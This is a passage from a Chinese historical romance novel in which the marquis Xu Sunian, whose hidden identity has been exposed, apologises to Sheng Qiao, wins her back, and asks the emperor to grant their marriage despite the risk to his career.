徐肃年没说别的,只是勉强朝他笑了笑,然后说:“没什么,我先回去了,元晦兄,改日我请你吃酒。”
离开盛怀义所居的客栈,徐肃年犹豫了一下,还是直接去了济善堂。
济善堂有个西门,因离着阿乔的院子近,因此徐肃年平日出行都是走那儿,不想他今日走到西门前,却被人拦住了。
是两个有些眼熟的护卫,只是不知是从哪见过。
徐肃年看了他们一眼,说:“我是里面的先生。”
两人对视一眼,然后对他拱手,直接道:“端阳侯,请回罢。”
看来是燕国公派来的人了。
徐肃年疲惫地揉了揉眉心,也没生气,只对那两个护卫说:“我不为难你们,我只想让你和你家小娘子通传一声,告诉她我来了,她会见我的。”
其实就是他家小娘子吩咐,一定要将端阳侯挡在门外的。
两人有些犹豫,但见端阳侯仿佛也没有为难他们的意思,只是神色坚定地请他们去通传。
不过是通报一声罢了,跑个腿的功夫,万一小娘子改变主意了呢。
两个护卫彼此对视一眼,都从对方眼中看到了答案,其中一个朝徐肃年拱了拱手,道:“侯爷稍等,我去给您通传。”
徐肃年点了点头,然后也没再说什么,就随意地靠在了后面的围墙上。
没一会儿,护卫小跑着回来,他看了眼抱臂等候的徐肃年,小声道:“侯爷,我家小娘子说……不想见您。”
徐肃年并不意外,盛乔若是愿意见他才怪了,他执意要让护卫通传,也不过是想告诉盛乔,他来找她了而已。
护卫有些不敢看徐肃年的脸色,徐肃年却是十分淡定地摆了摆手,“知道了。她不见我,我继续等就是。”
说完,又靠回了身后的围墙上。
这么一尊大佛在这守着,两个护卫怎么待都不自在,又不好直接关上门,只能当没看见似的,醒着头皮回到门口继续把守。
不知过了多久,抱臂假寐的徐肃年忽然睁开眼,看了眼天色判断了一下现在的时辰,然后走过去,很客气地对那两个护卫说:“眼下应当快用午膳了,你家小娘子这时候心情好,麻烦你再帮我问问,她现在想不想见我?”
这两人都是昨晚盛怀义急调至洛州的护卫,从前都是跟着盛淙的,而徐肃年作为盛淙的上峰,他们对他自然也是心怀敬畏。
虽然方才徐肃年始终未发一言,但举手投足之间流露出的上位者的压迫感,已经足够让他们胆战心惊。
此时听他开口,两人反倒松了口气,就算是去跑腿,也比在这和端阳侯大眼瞪小眼地杵着强。
两人争着去通传,刚跑到半路上,就看到了花园里的盛乔和郑墨。
“见过三娘子,见过郑娘子。”
护卫朝二人行礼。
盛乔脸色不太好,见他过来,恹恹问道:“你怎么又来了?”
护卫小心翼翼地说:“端阳侯……”
刚说三个字,就见盛乔的脸色一下子变了,他立刻不敢再说下去了。
今天盛乔一回来,就立刻将那个徐少安的真实身份告诉了她,郑墨自然也是震惊不已。
此时她一听到这个名字,便立刻偏头去看旁边的盛乔,见她脸色不好,郑墨安抚地搂了一下盛乔的肩膀,然后替她问道:“难道他又来了?”
护卫觑了一眼盛乔的脸色,然后点了点头。
郑墨皱起了眉。
这个徐肃年,到底是想做什么?
一旁盛乔的脸色已经十分难看,郑墨无声叹口气,对盛乔说:“你先回去,我替你去见他一面,赶他走。”
盛乔却一把拉住了她的手臂,“不要去。”
郑墨疑惑地看着她,盛乔哼了一声,说:“不要理会这个骗子!”
说完,直接拽着郑墨的胳膊走了。
护卫见此,也只得折回去传话。
徐肃年听到他的回话,面上表情仍没有什么波动,只是眼皮稍稍抬了一下。
他看着眼前低矮的墙头,只恨不得直接翻进去,但最终还是没有动作。
他靠在墙边又等了两个时辰,算着差不多是盛乔平日睡完午觉的时间,便想再使唤那两个护卫帮他去通报一声。
忽然院门从里面被人推开了,徐肃年先是一愣,而后立刻抬眼看过去,走出来的却不是盛乔,而是郑墨。
徐肃年唇边刚扬起的弧度瞬间落下,本不想理会,忽然见她怀里抱着一个不大不小的木匣子,当即蹙起了俊眉。
郑墨走到他身边,没说话。
徐肃年盯着那匣子,主动开口问道:“阿乔让你给我的?”
郑墨也没和他多说什么,直接将那匣子打开,露出了里面装着的所有东西。
徐肃年低头一看,只见那里面放着一个荷包、一卷揉皱了的话,还有几本书册。
几乎都是徐肃年先前送给盛乔的东西。
他假装不明白什么意思,淡淡抬头,问郑墨,“这是什么?”
郑墨却懒得与他装模作样,将匣子扣上然后使劲往他怀里一塞,说:“阿乔说与你两清了。”
说完便转身又回了济善堂里,并吩咐两个护卫将门关上,无论如何都不要再去打扰阿乔。
两个护卫小心翼翼地觑了徐肃年一眼,然后听令照办。
徐肃年面无表情地盯着手里的匣子看了半晌,然后看了一眼那紧闭的院门,当真转身走了。
郑墨透过门缝看到了男人离开的背影,稍稍松了口气。
她回到院子,盛乔正在窗边的美人榻下坐着发呆,也不知道刚刚做了什么,原本绾得好好的发髻变得有些散乱,斜插的一支玉簪在发尾将落不落地坠着。
郑墨走到她旁边坐下,替她扶正了发簪,有些无奈地说:“这是做什么去了,怎么头发乱糟糟的。”
盛乔没说话,看着她空空的两手,问:“给他了?”
郑墨到梳妆台上挑了柄梳子,一边给她重新梳头发,一边点了点头,“嗯。”
盛乔乖乖坐了会儿,还是没忍住,问郑墨:“他已经走了吗?走之前……有没有说什么?”
“我瞧着他离开才回来的。”郑墨说道,“没有,我将匣子给他之后,他一个字都没说。”
她推测道:“大约也是知道自己骗了你,所以也无从辩解罢。”
盛乔听了这话却一点都高兴不起来,秀气的眉毛皱得紧紧的。
郑墨帮她把头发梳好,重新簪上发饰,然后从一旁的小桌上拿了一把手持镜,想让阿乔照照满不满意,不料却见到她一副苦大仇深的模样。
“这又是怎么了?”郑墨疑惑不解。
其实盛乔也不知道自己这是怎么了。
明明是她收拾了东西让表姐帮她还给徐肃年的,也是她放了狠话让人离开的,可不知为何,这会儿听到他真走了,又有些不高兴。
这样反复无常的话,盛乔不想对郑墨说,便只摇了摇头,小声道:“我没事。”
郑墨也知道这事没那么容易走出来,毕竟盛乔是真的对他生出了情意,不料却被他骗了那么久,想也知道阿乔心里会有多伤心。
她无声叹了口气,也不知道要怎么安慰她,绞尽脑汁地想找些高兴的事同盛乔讲。
盛乔其实并不想听,但不愿扫了表姐的一番好意,还是勉强撑着精神与她说了几句。
郑墨很有眼色,瞧出盛乔心不在焉,虽有些无奈,却也没再勉强,只又叮嘱了几句便先离开了。
郑墨一走,盛乔离开由坐变躺,她捞起旁边的软枕抱在怀里滚了一圈,然后把头扎进软枕里使劲地蹭,没一会儿刚梳好的头发就又乱了。
可她根本无心顾及这些,反而觉得头上的几个簪子碍事,伸手揪下来想要往地下扔,但也不知道是不是动作有点太粗暴,不小心抓到了几根发丝。
虽然不疼,但盛乔还是瞬间红了眼眶。
不再管自己的头发,抱着枕头小声哭了起来。
这徐肃年果然就是一个大骗子!
从他们认识到现在,一直都在骗她!
骗她的同情,骗她的钱,最后还要骗她的感情。
盛乔觉得自己实在是太可怜了,这段时间一直被耍得团团转也就罢了,最后竟然还对这个骗子动了真感情!
最可恶的是,她竟然还拉着他的手,到阿爹面前说要嫁给他。
那个骗子一定得意死了。
如今他乐子看够了,戏也演够了,就潇洒抽身了。
甚至连一句道歉,一句解释的话都没有说。
她让他走就走了,看来她这么做反而是正合了他的心意。
盛乔气得心跳都加快了,半晌抬起头擦了擦眼泪,看着被自己抱在怀里的靠枕,不知想到了什么,忽然就看它不顺眼了。
她使劲把那靠枕往榻上一砸,发泄似的骂道:“骗子!”
骂完又觉得不过瘾,干脆把那软枕当成徐肃年,又抓着边角使劲锤了几拳。
“混蛋!”
“骗子!”
“混蛋!”
她一边发泄,嘴里也没停,可她毕竟是个受过良好教养的大家闺秀,骂来骂去也不过就那几个词,最后手都打酸了,心情也没能变好。
徐肃年翻窗进来的时候,正看到小娘子头发散乱地一边挥拳头一边喋喋不休骂人的样子,若不是场合不对,他险些要笑出声。
知道小娘子心里不痛快,原想轻手轻脚走过来的主意瞬间变了,徐肃年关窗时刻意加重了几分力气,窗户撞在窗框上,发出一声闷响。
盛乔果然被这声音吸引了
注意力,霎时抬头,正看到徐肃年无辜的眼神。
看到这个罪魁祸首,盛乔胸腔里的怒火一下子被点燃了,立刻怒道:“你不是走了吗?”
徐肃年说:“你还没原谅我,我怎么能走?”
盛乔哼一声,“要我原谅你做什么?我们已经没有关系了。”
徐肃年根本不承认,“谁说我们没关系的。”
明明方才一个人的时候,还像个被点燃的炮仗似的。可在看到徐肃年之后,盛乔又莫名冷静了下来。
她坐在榻上看着他,半晌开口说道:“你送我的东西我都还给你了,最底下还藏了几十两银子,算是你这几个月的工钱,从此你我两清了。”
徐肃年却说:“那是车夫徐少安给你的,你还给我,只能说是和徐少安两清了。”
“但我还是徐肃年,我们的婚约未解,所以你和徐肃年还没有两清,我当然要来找你。”
两人会闹成这样,根本原因就是他在她面前隐瞒了身份。盛乔方才刻意避开不提,就是不想说此事,没想到这人竟然主动提起,还又提到两个人的婚事。
“你……”
盛乔气得说不出话来,想下床去赶他走,又觉得那样实在失了仪态,好像她就占了下风似的。
左右看了看,盛乔瞧见了手边被她蹂躏了半晌的靠枕,用力朝男人站着的方向砸了过去。
她自觉已经用了全部力气,但实际徐肃年打眼一瞧,就知道那枕头根本砸不到他。
眼看小娘子眼睛都气红,徐肃年飞快往前走了几步,在那枕头将要落地之前,主动迎了上去。
枕头砸在他胸口,滚了一圈落地。
“啊……”
徐肃年闷哼一声,痛苦地皱起了眉头。
第42章 原因真可爱啊
盛乔盛怒之下将枕头扔了出去,扔完又觉得自己太冲动,不自觉有些后悔。
她扔的力道那么大,万一砸到脸上怎么办?
心下有些担心,但盛乔又不想表现出来,抿着嘴巴刻意避开了视线。
也因此没看到徐肃年刻意往前凑的动作,只听到他状似痛苦的一声闷哼。
盛乔下意识就要起身,转念想到两人现在已经没关系了,气哼哼地又坐回去了。
她故作冷漠地看他一眼,没说话。
徐肃年知道她心软,就算这会儿没有起身,视线也肯定盯着这边。
于是他没再刻意发出痛呼,只抬手在胸口处轻按了一把,然后躬身捡起那只圆鼓鼓的靠枕,走到盛乔坐着的榻边,递给她。
盛乔看了一眼,冷冷地开口,“我不要了。”
徐肃年看了那只无辜的枕头一眼,问:“为什么不要了?”
“我不要被你碰过的东西。”
说这话的时候,盛乔自认自己已经用了平生最冷漠、绝情的语气。
只可惜她面前没有镜子,不知道自己现在的样子——
发髻早已散乱,簪环将掉未掉,连身上的衣裳都卷了边,半点不整齐。
好像一只刚刚在草丛里打了好几个滚,浑身沾满草叶的小猫。
盛乔此时正在气头上,半点没意识到自己的不妥当。
而徐肃年就站在她旁边,将她这稍显狼狈的模样尽收眼底,毛茸茸的,脸颊还因为生气而鼓着,有点可爱。
徐肃年极力克制着才没让自己上手去揉,他压着唇角的弧度,说:“我碰过的东西,你都不要了,那你怎么办?”
盛乔没明白,皱眉看着他。
徐肃年点了点自己的唇,没说话,眼神却充满暗示。
盛乔瞬间想到了先前两人抱在一处荒唐的时候,别说嘴唇,她身上几乎每一处,都被男人抱过、碰过。
盛乔的脸颊骤然染上红色,她抬头狠狠瞪了徐肃年一眼,骂道:“轻浮!登徒子!”
徐肃年眨了眨眼,无辜道:“可我什么都没说,小娘子怎么又生气了。”
这人惯会装无辜,扮可怜,其实比谁都可恶,盛乔气得从美人榻上跪坐起来,抓着另一个软枕,再次砸了过去。
徐肃年就是怕她把所有心思都憋在心里,引着她往自己身上发泄出来。
他抱住飞过来的第二只枕头,说:“还生气吗?”
盛乔没说话,只睁大眼睛瞪着他。
她的眼眶还有些红肿,一看就是哭过,徐肃年心头微涩,放柔了声音,试图解释:“如果不气了,能不能听我把话说完。”
盛乔没说好还是不好,只是不理会他,徐肃年被她那双蒙了水雾的眼睛看了半晌,只觉得心口也跟着泛酸。
“阿乔。”徐肃年没再故意逗她,郑重地,诚恳地开口,“对不起,我不该骗你。”
盛乔挂着泪珠的眼睫轻颤了两下,仍是没说话。
徐肃年也不奢求她会在这时给自己什么反应,只自顾自地解释道:“我真的不是故意骗你的。”
“我此行毕竟有公务在身,起先你我只是陌生人,我不可能告诉你我的身份。后来你我关系不一样了,我却不敢告诉你了。”
徐肃年的语气有些无奈,但这次不是装的,而是真的。
他有些懊恼,“我也不知你为何对我有这么深的偏见,因此一直怕说出真实身份后会吓到你,也怕因我瞒着你,而让你对我的印象更差。”
盛乔这回终于有了反应,哼了一声,反问:“你的意思是,这一切都怪我喽。”
“我当然不会是这个意思。”徐肃年无奈道,“我永远不会怪你,只是想告诉你,我真的不是故意想要骗你的。”
解释完,他带着一点小心翼翼的去看盛乔,“所以,你能原谅我吗?”
盛乔虽然没说话,但实际上她的表情出卖了一切。
她听进去了他的话,并且相信了他的解释。
果然,少倾之后盛乔开口道:“我相信你不是故意骗我的,毕竟我一开始也刻意隐瞒了我的身份,你不告诉我,也是情理之中,所以我不怪你了。”
听到这话,徐肃年眼睛立刻亮了一下,他立刻放下怀里的几个软枕,凑到盛乔面前,试图判断她说的是不是真心话。
盛乔当然不会在这时候故意逗他,眼神分外坦荡。
徐肃年了解她,知道她这么说了,就是真的不怪自己了。
没想到他的阿乔这么心软好哄,徐肃年一直悬在半空的心总算坠到了实地上,他迫不及待地伸手想去抱阿乔,却被她再度隔开。
“我的确不怪你骗我了。但我们也的确没有关系了。”盛乔看着他,“你出去罢,我要休息了。”
徐肃年没听懂似的站在原地没动,而盛乔说完这话就直接背过了身,抱着软枕重新趴会了美人榻上。
徐肃年站在脚踏前,看不到她的脸,只能看到她时不时耸动一下的脊背。
不知为何,阿乔又哭了。
最近这几天阿乔仿佛总是在哭,而且每次都和他有关。
徐肃年沉默地站在榻前,终于意识到,这件事发展到这个地步,已经完全跑脱了他的控制。
他原本以为,阿乔知道他的真实身份之后,最生气的就是他骗她。
毕竟她不止一次地提起过,她最讨厌别人骗她。
于是他用尽了所有真诚向盛乔解释,甚至想好了她会如何反驳,而自己到时候要怎么哄她。
可阿乔什么都没说,只是轻飘飘地说了一句,她已经不怪他骗她的事了。
可一边说着不怪,一边又趴在臂弯间小声的啜泣。
徐肃年觉得自己先前想到的所有应对之策都失去了用武之地,他空有一身本事,却完全不知道怎么用。
就像现在阿乔哭得伤心,他却有一点不敢碰她。
其实盛乔也不知道自己为什么要哭,可能只是有些委屈罢。
这段日子以来,她是真的很开心。
因为她找到了一个温柔、有趣、体贴的郎君,可以让她尽情地依赖和胡闹。
在盛乔眼中,两人先前相处时,总是轻快明朗的,如果让她落笔将那些画面画下来,她一定用的都是最明亮鲜艳的颜色。
但在知道了徐少安的真实身份时,一切都变
了。
盛乔再回忆从前的事,不会再开心快乐,反而第一时间想到的是——
徐少安当时是怎么看自己的呢。
她一边骂他,一边又和他亲近,这个行为一定很傻很可笑罢。
盛乔不知道,但也因此不想再回忆了。
从知道徐少安就是徐肃年之后,盛乔觉得两个人之间的相处完全变了味道。
不再轻松、不再快乐。
盛乔不想这样。
她的确不再怪他,但也不知道要如何面对他。
解决问题如看病问诊,要对症才能下药。
徐肃年不知盛乔为何难过,除了替她擦干眼泪之外,竟然什么都不能做。
知道自己再待下去也是惹她伤心,徐肃年平叹一声,留下一句我明天还回来,便又翻出了她的卧房,然后一路出了济善堂,回到了官驿的住处。
进屋时,徐肃景正在他的书房外的躺椅上坐着,一见他来,立刻扔了手里的书,从躺椅上弹起来,蹭到他的身边,“大哥,燕国公今天应该已经到了洛州了罢。”
徐肃年冷冷地看他一眼,说:“你想问什么?”
徐肃景嘿嘿笑了一声,根本藏不住自己想要看热闹的心思,“燕国公认出你来了吗?”
徐肃年斜睨他一眼,赏了他一个字,“滚。”
听这声就知道他火气不小,想来不仅被未来岳丈认出来了,还有盛小娘子罢。
估计他这会儿正有火没处发,徐肃景纵然好奇心再重,也不敢再在这时候说什么。
他立刻转身想要离开,却听徐肃年又把他叫住,“等等。”
于是徐肃景又像个提线木偶一样转了回来。
正撞上大哥心情不好的时候过来,徐肃景也不敢造次,客气道:“大哥还有事吩咐?”
看着自家弟弟灵动跳脱的模样,几乎和先前的阿乔一模一样。
他果然想到这两人年纪相仿些,大约他们的心思能想到一处?
这样想着,徐肃年又很是怀疑的打量了一眼亲弟弟,不确定他会不会帮倒忙。
但除了徐肃景之外,他身边好像也没有其他人能问了。
徐肃年犹豫了一下,还是对他说道:“二郎回来,我有事问你。”
听他这严肃的语气,徐肃景还以为是什么公事,只得跟着他走到屋内坐下,觑着他阴沉的表情看了好半晌,才问:“大哥想问我什么?”
只见徐肃年肃然沉吟片刻,然后开口说道:“阿乔知道了我的身份,生气了。”
原来还是这件事,徐肃景默默收回袖中的洛州地图,心里却在想,盛娘子人家能不生气吗?
他想听些细节,不料自家大哥说完这句就不往下说了,他只好自己问:“大哥与盛小娘子道歉了么?”
徐肃年点头,“自然。”
并且附加了一句,“且她说并不怪我骗她。”
不怪你?
徐肃景有些没反应过来,忍不住问:“既然盛娘子都说不怪你了,怎么大哥还是一副苦大仇深的样子?”
徐肃年头疼地说:“她的确说了不怪我,却仍旧伤心,我与她说话也不怎么搭理我。”
难得看到兄长这幅苦恼的样子,徐肃景都恨不得把他站在这样子画下来寄回长安,阿娘应当会很惊讶。
徐肃景胡思乱想半天,反而忘了徐肃年的问题,直到他不满地瞪了他一眼之后,才回过神来,总算开始认真地思考起来。
他问:“或许有些事需要刨根问底,大哥当时究竟为何非要瞒着盛小娘子?”
他指的是两人两情相悦之后。
徐肃年蹙了下眉,终于开始认真地思考了起来。
或许一开始的确是因为盛乔对自己的偏见过重,但随着两人的逐渐了解,也不是没有解释的机会。
或许归根结底,他的隐瞒只是因为他觉得阿乔茫然不知真相的样子很可爱,所以才恶劣地想要多看一会儿。
此话徐肃年自然不会对徐肃景说,也并不需要说,因为他在想通这一点时,就已经明白阿乔到底在气什么了。
他沉沉叹了口气,伸出两指揉了揉酸痛的鼻梁。
徐肃景瞧着他这副样子,忍不住默默感慨了一句,“娶媳妇真麻烦啊,还好阿娘当时没把盛娘子许给我。”
他几乎只是动了动嘴皮子,不料徐肃年竟然瞬间抬头看了过来。
“二郎,你刚刚说什么?”徐肃年神色平静地问。
第43章 求婚请旨赐婚
相较于徐肃年来说,徐肃景和盛乔年岁更相近,因此燕国公府起先是挑中了徐家这位二郎君。
两家的这桩姻亲,丹宁长公主第一时间问的是徐肃景。
只是徐肃景无心男女之事,一心想学兄长建功立业,入朝为政,便推说长兄还未娶亲,他这做弟弟的不能先娶。
丹宁长公主这才将目光放在了自己的大儿子身上。
由此徐肃景此时见到兄长为这桩婚事发愁,难免生出些许小小的庆幸。
没想到这么小的声音兄长竟然还是听到了,徐肃景腰背蓦然一僵,急忙否认,“我什么都没说啊。”
徐肃年未必是真的没听清,见他这装模作样的表现,冷冷睨了他一眼,说:“无论母亲以前是怎么想的,盛小娘子日后都是你的大嫂,这话以后不要再说了。”
在徐肃景心里,大哥的性子虽然是严肃了些,但对他也极少有这么冷厉的时候,这冷肃的一眼看过,像在寒冬腊月被人泼了一盆冷水,徐肃景没忍住打了个哆嗦。
他立刻站起身,规规矩矩地应了一声是。
徐肃年没再训斥什么,只摆了摆手将他打发走,然后疲惫地按了按酸胀的眉心。
他先前的确不知道,盛家这门亲事,先找上的竟然肃景。
也就是说,他并不是盛怀义唯一的选择。
所以当时阿乔到底遇到了什么?让盛怀义那么急切地想把宝贝女儿嫁出去。
徐肃年半阖着眼,看似是在假寐,右手却搭在扶手上,不轻不重地轻轻敲击。
肃景虽年轻,无官职在身,但和他一样,都姓徐,都是丹宁长公主之子,也都是皇帝的外甥。
难道,与皇帝有关?-
在盛怀义抵达洛州两日后,郑夫人安排地那几车礼物终于到了。
盛怀义不愿暴露身份,只叫盛淙带去了济善堂。
无论是先生还是学生,都得到了礼物,一听是盛乔家人送来的,盛乔这一天走到哪被人谢到哪。
到最后她自己都不好意思了,抱着阿娘给她新做的几件裙装,和盛淙一起溜出了济善堂。
有马车在门口等,是盛怀义派来借盛乔过去的。
有盛乔在,盛淙干脆也没骑马,兄妹俩一块坐上马车。
为着徐肃年的事,盛乔已经在济善堂闷了两天了,她自己都有些受不了这样的自己,于是主动提出要去见阿爹。
自那晚抱着阿爹哭了一场之后,父女俩还没再见。
盛乔抱着怀里的包袱,先关心了一下远在长安的阿娘,“三哥,阿娘还好吗?”
盛淙听出妹妹语气里的愧疚,无奈地点了点她的额头,“你这小没良心的一跑几个月,阿娘能好吗?”
盛乔被他戳痛了也不吱声,抿着嘴唇不说话。
盛淙见她这样子也没了脾气,叹了口气,说:“以后再不许一言不合就离家出走了,知不知道?”
盛乔想说自己不是一言不合,她是有原因才离家出走的。
可见三哥吹胡子瞪眼睛的模样,便也不敢再说了。
盛淙接着语重心长地嘱咐她,“一会儿见了阿爹,也好好和他认个错,听到没?他这一把年纪还特意跑到洛州来接你,多不容易。这一路上都没敢歇息,昨天在客栈躺了一整天。”
盛乔原本就很是愧疚,听到这话心里更是酸涩得说不出话来,她乖巧地点点头,“放心吧,三哥,我知道。”
小半个时辰后,马车停到了客栈的后门,盛淙先
下车,然后想去扶妹妹的手,没想到回头正看到盛乔敏捷地从马车上跳下来。
盛淙:?
盛乔站稳之后看到兄长的眼神,还有些奇怪,“三哥,你怎么了?”
盛淙将她上下打量了一番,神色复杂地摇了摇头。
虽然才两个月不见,但他总觉得小妹好像变了。
但具体是哪变了,又说不出来。
盛乔则根本不知道他在想什么,奇怪地看了他一眼。
盛淙也没说什么,揉了揉她的脑袋,宠溺地嗔了一句,“小傻子。”
然后扶着她的肩膀往楼上走。
这家客栈不算大,盛怀义昨天命人将客栈的三层都包了下来,随行所有人都住在这一层。
盛淙将盛乔送上三楼,见到了守在楼梯口的护卫,便没再往上。
他对盛乔说:“我还有些事,你自己去找阿爹罢。”
盛乔点点头,跟着护卫找到盛怀义的房间。
正要敲门,忽然房门自己从里面打开了。
“阿爹……”
还以为是盛怀义亲自迎出来了,盛乔立刻换上大大的讨好的笑容,没想到竟是徐肃年从里面走了出来。
盛乔先是下意识往后退了几步,余光瞟到他身上,这才发现他今天仿佛有些不太一样——
往常他就算穿得不算破烂,但绝对称的上朴素低调,往往一身墨色的袍子就凑合了。今日却穿了一身深绯色的圆领袍,腰束金玉带銙,配了一块羊脂玉仙鹤竹纹佩压袍。
难怪说人靠衣装马靠鞍,徐肃年这么一打扮,原本就极为俊朗的眉目更添了几分矜贵俊雅之气。
打眼一看这打扮,仿若古画里走出来的一位翩翩佳公子。
但因为他实在过于高挑挺拔,气势又盛,比之寻常的文人又多了几分凛凛锐意,如一柄新出鞘的利刃,让人难以直视。
盛乔看了一眼就收回了视线,本想直接越过他走进去,不料他竟很没有眼力见地堵住了门口,“就算没有别的关系了,我与小娘子总是旧相识,小娘子怎么连招呼都不打一个?”
越过他的肩膀,能看到在身后端坐着的盛怀义。盛乔不想在阿爹面前和他有太多牵扯,勉强地叫了一声,“端阳侯。”
应付完这句,便立刻道:“你可以让开了罢。”
徐肃年却又问:“你怎么都不看我一眼。”
盛乔觉得这人脸皮真厚,明明那天两人已经说清楚,从此桥归桥路归路,再无半点关系了。今日当着她阿爹的面,他竟然又用这种语气说话,好像生怕她阿爹不知道两人之间的关系似的。
盛乔抬头瞪他一眼,“你有什么好看的?”
不料这男人竟抬手摸了摸自己的脸,一脸无害地说:“不好看吗?我以为我长得很合小娘子的眼缘呢。”
他说这话的时候可没有刻意压低声音,盛乔下意识往他身后看了看,气得想捂他的嘴,可她不能,只能怒气冲冲地瞪着他,“你在胡说什么!”
徐肃年看她这气急败坏的样子,忍俊不禁地勾了勾唇,然后无辜地眨眨眼,“那从前小娘子干嘛总是看着我?难道不是喜欢我这张脸吗?”
虽然……
徐肃年真的长得很好看,他说的也的确没错,盛乔的确很喜欢他这张脸。
但此次此刻她当然是不会承认的,愤愤道:“根本没有,我觉得你丑死了!”
徐肃年却一点都不生气,只有些可惜地说:“好罢,那可能是我自作多情了,亏我今日特意穿了一身绯色的袍子,就是记得有个人好像从前对我说过,我穿这个颜色一定会比较好看。”
“难道小娘子是骗我的吗?”
听到这话,盛乔不自觉又抬头看了他一眼。
的确是好看的。
徐肃年五官深邃,皮肤也白,平日穿着暗色便莫名有些阴郁冷厉,如今着一身艳色,眉眼之间都更生动飞扬了些,甚至觉得年轻了好几岁。
盛乔口是心非,“没有,我也是骗你的。”
她特意强调了一下“也”字,试图提醒他从前做过的那些过分的事。
以防她翻起旧账来,徐肃年见好就收,声音也放柔了,“好罢,那就算是我自己想穿给小娘子看,想吸引小娘子的注意,行不行?”
盛乔发现了,这人的脸皮实在比她想象中的还厚,什么样的话都能说出口。
她没耐心再与他纠缠下去,直接问道:“你到底罗里吧嗦地说这么多,到底想做什么?”
徐肃年则是一副惊讶的样子,“小娘子还不明白吗?我喜欢你,想要娶你为妻,所以想引得你注意,与你多说几句话啊。”
“你……”
盛乔被他这话惊到了,好半天才从牙缝里挤出来一句,“你胡说八道什么,我阿爹还在这呢!”
徐肃年却道:“婚约大事若无父母同意怎么能行,我今日过来就是向岳伯父请罪的,先前我骗了小娘子,是我不好,任打认罚。”
这番话他说得十分坦荡,坦荡到盛乔都有些怀疑眼前这个到底是不是徐肃年了。
“你……”
她不知要说什么,徐肃年也没再逗她。
他看了一眼早已避到三丈之外的护卫,说:“我不打扰小娘子与父亲相聚了,我去楼下等你。”
说完,他朝盛乔拱了拱手便要往外走。
盛乔急忙扯住他,“你,你还等我干什么?”
她实在不想在阿爹面前和徐肃年说太多话,因为会让她想到在饮溪马场的那天晚上,偏偏他这会儿一个劲的往上凑。
徐肃年特别真诚地说:“我既然在重新追求小娘子的心,当然要多与你说话,要不然不说话,怎么追求?”
说完,在盛乔目瞪口呆的反应中飘然远去,等下了一层楼梯之后,又忽然想起什么似的,站在平台处回头看了她一眼。
盛乔以为他是还有话想说,不料他只是挑起眉峰朝他笑了笑,然后便继续下楼梯了。
盛乔已经完全搞不清此时的状况了,在门口呆呆站了半天,才终于想起屋子里坐着的盛怀义,急急忙忙地问:“阿爹,徐肃年刚刚来找你说了什么?”
盛怀义看着女儿气急败坏的神情,也没瞒着她,“那小子来找我认错请罪来了。”
居然真的是请罪。
盛乔又问:“没说别的什么罢?”
盛怀义这次没有立刻回答,而是反问道:“他还能同我说什么?”
盛乔不好意思说,可又是真的好奇,犹豫半天小声哼唧出一句,“就是……婚事什么的……”
果然问出来了。
盛怀义看着女儿的表情,不由得想到了方才徐肃年对他说的那些话。
半个时辰前。
盛怀义看着眼前的徐肃年,皱眉问道:“你过来就过来,穿这么显眼干什么?”
徐肃年朝他微微一笑:“我就是怕别人不知道,才特意挑了这一身。”
盛怀义一怔,“你什么意思。”
在他面前,徐肃年说话一贯直白,这次也没有半点要绕弯子的意思,直接挑明了说道:“我已经知道公爷为何要选我做女婿了。”
听到这话,便是盛怀义也不免愣了一愣,“你知道?”
徐肃年平静地吐出两个字,“陛下。”
盛怀义的脸色登时变了,看向徐肃年的眼神中也带上了警惕。
不料他紧跟着又说了一句,“我知道,但我还是想娶阿乔。”
盛怀义脸色又变了变,只是这次只是看着他没说话。
但是他的眼神里写满了怀疑。
虽然他不知道徐肃年是怎么知道的真相,但既然已经发生,盛怀义就做好了与整个丹宁长公主府翻脸的准备。
在这场联
姻里,他当然是有私心在的,想借着徐肃年来帮女儿摆脱皇帝。
不过届时阿乔自然是安全了,被放过了,可是徐肃年这个搅局者,会被皇帝如何对待呢?
君心难测,便是盛怀义也没有答案。
或许徐肃年很可能就此惹恼了皇帝,从此失了圣上恩重,前途也跟着受阻。
一切都是有可能的。
不过这并不是盛怀义需要考虑的范畴,无论徐肃年如何,他只要他的女儿平安无恙。
而徐肃年知道他的真实目的之后,又如何还会答应这桩婚事。
毕竟这世上有谁敢和皇帝抢人呢?
何况论亲疏远近,徐肃年又是皇帝的亲外甥。
大约是猜到了他心中所想,徐肃年又将自己的决定重复了一遍,“我想娶阿乔。”
盛怀义听出了他语气里的坚定,却仍不放心似的,问道:“即便会因此触怒陛下?你如今可是陛下身边最信重的臣子,你可知你将会放弃什么?”
徐肃年淡淡道:“我当然知道。”
“但我不在乎。”
见盛怀义仍未表态,徐肃年直接从怀里掏出一封包着明黄绸缎的折子来,这是专门赐予下放钦差的密折,有八百里加急直达圣听之权。
徐肃年走到盛怀义跟前,把折子双手递给了他。
盛怀义狐疑地看他一眼,接过那密折打开:
“臣大理寺卿徐肃年谨奏:
伏惟陛下恩德庇佑,臣此行洛州,公事之余,得遇良配。此女为燕国公盛府三女,性情柔顺温和,知书明理,臣一见倾心,心悦爱慕。今斗胆叩求天恩,怜臣孤子无依,赐臣婚配,与盛三娘子永结丝萝,上承祖宗之祀,下全人伦之道。
若得圣诺,臣当跪叩天恩允臣私心私情,日后时时警醒奋勉,以报高主隆恩。
臣无任惶恐激切之至,伏乞皇上睿鉴。谨奏。”
这居然是一封祈求赐婚的密折。
先前两家的婚事,六礼已经行过半数,但从未明目张胆地捅到过皇帝面前。
丹宁长公主根本不知道此事,盛怀义则是巴不得皇帝不理睬。
如今徐肃年递上去一封请旨赐婚的折子,无论他抱着什么目的,在皇帝面前,都和挑衅无异。
盛怀义看向徐肃年的目光中终于多了一点不寻常的意味。
然后,徐肃年当着他的面,从怀里掏出一枚刻着他名姓的私印,郑重扣在了落款的徐肃年三个字上面。
如此,他将最后一点反悔余地也斩断了。
盛怀义好半晌才找回自己的声音,“你不问问阿乔答不答应?”
徐肃年没再说别的,只笑了笑说:“我自知阿乔的心。”
盛怀义合上密折还给徐肃年,也只说了一句,“只看你有没有本事能哄得阿乔同意。”
这是给他一个机会的意思。
徐肃年很明白,所以方才才会在门口故意将阿乔拦住。
两人在门口说了多久的话,盛怀义就在后面默默地看了多久。
他发现女儿好像变了。
从前在家中的时候,让他用一个词来形容他的阿乔,那定然是乖巧听话。
也正是因此,他从没想过阿乔会逃婚。
如今一别两个月,阿乔好像变了,比以前活泼了,爱说话了,甚至连脸上的表情都更丰富了。
早知道,阿乔从前是个连自己院门都不爱踏出来的大家闺秀,哪会像如今这样,在大庭广众之下与人一来一往地斗嘴。
